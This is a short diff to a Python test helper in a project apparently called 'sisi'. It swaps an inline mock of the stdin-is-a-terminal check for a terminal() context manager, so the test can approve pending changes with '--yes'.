@@ -66,7 +66,7 @@ class PersonalCase(SisiCase):
r = self.ok(*a, **kw)
self.assertTrue(L.load_pending(), "the change should be waiting for the owner")
for item in L.load_pending():
with unittest.mock.patch("sisi.cycle._stdin_is_tty", return_value=True):
with terminal():
self.ok("approve", item["id"], "--yes")
return r